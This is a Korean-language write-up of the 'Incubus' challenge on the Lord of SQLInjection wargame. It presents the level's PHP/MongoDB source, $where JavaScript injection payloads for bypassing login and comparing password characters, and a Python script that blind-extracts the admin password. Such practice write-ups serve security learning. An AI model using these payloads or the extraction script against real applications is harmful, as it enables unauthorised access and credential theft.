WriteUp/LOS_rubiya

LOS -rubiya : Incubus

vared 2020. 5. 22. 18:50

<코드 분석>

<?php
  include "./config.php";
  login_chk();
  $db = mongodb_connect();
  if(preg_match('/prob|_|\(/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\(/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}");
  echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
  $result = mongodb_fetch_array($db->prob_incubus->find($query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  $query = array("id" => "admin");
  $result = mongodb_fetch_array($db->prob_incubus->find($query));
  if($result['pw'] === $_GET['pw']) solve("incubus");
  highlight_file(__FILE__);
?>

다시 몽고DB 이용한다.

pw 값을 찾아야 하는 문제다. admin pw 구해야한다.

blind sqli 문제이겠다.


<해설>

function이라는게 있는데 이걸 고민해봅시다.

정확히는 $Where 대한 부분인 같다.

 

MongoDB javascript 기반이기 때문에, $where 연산자를 통해서 javascript 표현을 사용할수 있다고 한다.

 

그렇다면 javascript injection 해주는 형식이어야 것이다. 현재 쿼리에 있는 형식을 유지해주면서 해주면 크게 문제는 안생기겠지.

 

먼저 admin 로그인부터 해보자

?id=admin&pw=' || obj.id=='admin

 

ㅇㅋ 성공했다.

이제 한자리씩 유추해보도록 하자.

 

length , ^ % 별거 해보고 찾아봤는데 소득이 없었다…

계속 검색하다가 보니까 python 하고 동일하게 Text index 경우 string 인덱싱이 가능하다고 한다.

 

그러면 obj.pw[1]= 'a' 이런식으로 비교를 해줄수 있다는 거고, pw 길이를 몰라도 있다는 뜻이다.

한번 해보자.

?id=admin&pw=' || obj.pw[0]>='0

 

오케이 로그인 했다. 대신 위에 처럼 넣어준 경우 guest 로그인 된다. 그러면 guest 비밀번호를 찾을 있기 때문에, 살짝 불안은 한데,, && || 이용해서 해보자.

추가] : || 들어가는데, && 넣으면 나머지 뒷부분이 없어진다. 왜그런지 모르겠는데,,,,, 구분이 명확하지 않아서 그런가…? -> 인코딩해서 넣어

 

그러면 앞부분 id admin 명시해주면 된다.

?id=admin' %26%26 obj.pw[0]=='0

그런데 뒤에있는 구문하고 겹쳐서 답이 나오지 않는다. ; 문장을 끝내자.

?id=admin' %26%26 obj.pw[0]=='0';'

마지막에 ' 붙여주는 이유는 짝이 안맞아서 에러가 나기 때문.

 

오케이 이제 맞게 나온다. 나머지 부분은 python 코드를 짜서 보자.

import requests

url="https://los.rubiya.kr/chall/incubus_3dff9ce783c9f574edf015a7b99450d7.php"
PHPSESSID="본인의 PHPSESSID"
pw=""
count=0
while(1):
    if count==101:
        break
    for i in range(48,128):
        pay="?id=admin' %26%26 obj.pw["+str(count)+"]=='"+chr(i)+"';'"
        res=requests.post(url=url+pay,cookies=(dict(PHPSESSID=PHPSESSID)))
        if "Hello admin" in res.text:
            print("found...!"+chr(i))
            pw+=chr(i)
            print("pw is ... : "+pw)
            break
        if i==127:
            print("Ending search")
            count=100
            break
    count+=1

print("FINAL PW : "+pw)

 

 

pw : b478822ea

 

Clear!